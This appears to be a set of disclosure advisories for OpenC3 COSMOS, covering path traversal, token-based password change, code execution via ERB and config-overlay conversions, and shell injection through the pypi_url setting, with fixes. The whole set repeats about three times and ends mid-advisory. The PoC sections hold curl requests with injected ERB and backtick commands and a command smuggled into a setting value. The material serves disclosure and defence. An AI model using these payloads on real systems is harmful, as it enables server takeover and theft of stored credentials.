openc3

Summary

OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory.

Details

In function save_tool_config() (local_mode.rb) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire OPENC3_LOCAL_MODE_PATH.

PoC

1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example)
2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high)
3. Observe new files created in /plugins directory by inspecting docker container directly (openc3-COSMOS-cmd-tlm-api) or using Bucket Explorer (plugin_default)

Impact

Modifying the data of other plugins

Summary

The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account.

Details

The design flaw in authentication model (authentication.rb) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account.

PoC

1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password
2. Legitimate user, as preventive action, changes his password (password123) using old password (password), that he knows, then establishes new session
3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as old_password, changing it to attacker-password, from this point preventing any other legitimate users from accessing account

Impact

Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Summary

OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory.

Details

In function save_tool_config() (local_mode.rb) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire OPENC3_LOCAL_MODE_PATH.

PoC

1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example)
2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high)
3. Observe new files created in /plugins directory by inspecting docker container directly (openc3-COSMOS-cmd-tlm-api) or using Bucket Explorer (plugin_default)

Impact

Modifying the data of other plugins

Summary

The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account.

Details

The design flaw in authentication model (authentication.rb) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account.

PoC

1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password
2. Legitimate user, as preventive action, changes his password (password123) using old password (password), that he knows, then establishes new session
3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as old_password, changing it to attacker-password, from this point preventing any other legitimate users from accessing account

Impact

Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Summary

OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory.

Details

In function save_tool_config() (local_mode.rb) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire OPENC3_LOCAL_MODE_PATH.

PoC

1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example)
2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high)
3. Observe new files created in /plugins directory by inspecting docker container directly (openc3-COSMOS-cmd-tlm-api) or using Bucket Explorer (plugin_default)

Impact

Modifying the data of other plugins

Summary

The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account.

Details

The design flaw in authentication model (authentication.rb) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account.

PoC

1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password
2. Legitimate user, as preventive action, changes his password (password123) using old password (password), that he knows, then establishes new session
3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as old_password, changing it to attacker-password, from this point preventing any other legitimate users from accessing account

Impact

Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

